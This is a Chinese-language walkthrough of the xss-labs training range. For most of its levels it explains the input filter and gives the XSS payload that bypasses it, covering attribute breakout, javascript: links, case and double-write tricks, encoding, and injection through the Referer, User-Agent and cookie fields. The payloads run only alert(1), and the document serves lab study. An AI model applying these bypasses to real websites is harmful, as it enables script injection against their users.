xss-labs靶场实战总结(其实没有完全通关:( ),我边过关边打的word文档,顺手贴上来。
本人也只是出于兴趣学习一下这方面的知识,文章涉及的知识点难免有些错漏,望海涵
1 / 随便payload都可以,没有防御
Payload·:
<script> alert(1)</script>
2 / keyword可用,闭合value
Payload:
" type="button" onclick=“alert(1)
3-4 / 双引号被实体化了,但单引号没有被实体化,利用单引号闭合。
Payload:
' onmouseover=javascript:alert(1) '
注意后面那个单引号要隔空
5 / 过滤on ,script ,以及大小写 。 利用http <a>标签 href属性:当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码 (js伪协议)
Payload:
"><a href=javascript:alert(1)>sss</a>
点击sss过关
6 / 过滤了href标签,但没有过滤大小写
Payload:
"><a hrEf=javascript:alert(1)>sss</a>
7 / 删除on ,script , href以及过滤大小写 , 双写绕过
Payload:
"><a hrehreff=javascrscriptipt:alert()>sss</a>
8 / 过滤了script,on,src,data,href 。发现输入的值插入了两地方,其中一个为:
href有一个隐藏属性,为自动Unicode解码,可以利用Unicode编码绕过
javascript:alert() ->payload:
javascr
ipt:alert()
9 / 此关过滤的字符与第八关一致,而且多增加了一个strpos函数,该函数检查插入语句是否含有’http://’ ,因此payload与第八关一样需要编码,但’http://’不编码
javascript:alert(‘http://’) ->
payload:
javascript:alert('http://')
10 / 查看源码后发现,输入的keyword其实没卵用,被实体化后无法构造payload,只做输出。真正有利用价值的是下面的隐藏输入,但str33也无法使用<>
Payload:
?keyword=nul&t_sort=" type="button" onclick="alert(1)
payload补齐后语句为:
<input name="t_sort" value=" " type="button" οnclick="alert(1)" type="hidden">
11 / 根据源码,通过keyword传参str被实体化无法构建payload;可通过t_sort传参,但是t_sort双引号被实体化,闭合不了;只有后面的t_ref字段可用。已知str33由referer字段传入,因此直接通过HackBar修改referer(不知道为什么使用bp拦截修改后onclick点击不了,可能是我不太会用),使用的payload和上一关相似,只不过是通过referer传输
Payload:
" type="text" onmouseover="alert(1)
12 / 查看网页代码可知t_ua字段通过user_agent获得,其余与上一关一样,通过user_agent字段传输
Payload:
" type="text" onmouseover="alert(1)
13 / 查看网页代码发现cookie字段,查看源代码后得知cookie传输格式为user=xxx,其余同上
Payload:
user=" type="text" onmouseover="alert(1)
14 / 未解之谜
15 / 查看源码,发现只有ng-include可利用。
搜索发现,该函数用于包含外部的HTML文件。
ng-include用法:
因此可通过src向其传递参数,利用之前含有xss漏洞的关卡将xss漏洞包含进来
Payload:
php?name=<a href ="javascript:alert(1)">sss</a>'
点击sss标签过关
16 / 查看源码发现script,space,/都被过滤了,但在html中,space可用回车代替,url编码的回车为%0a
Payload:
<img%0Asrc="1"%0Aonerror=alert(1)>%0a
17 / 搜索发现embed用于嵌入多媒体,但火狐没法加载swf图片,所以我把源码改了,直接用前面的png,反正原理一样的。构建payload闭合语句
Payload:
arg01= onmouseover=alert(1)&arg02=b
鼠标移到png上面触发
18 / 跟17关一样
19 20/ 看网上说要对flash反编译, 不会,不做了
tips:
(1) Htmlspecialchars 如果只有一个参数str,则将< > “ 实体化,单引号不编码
(2)关键字测试: " ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>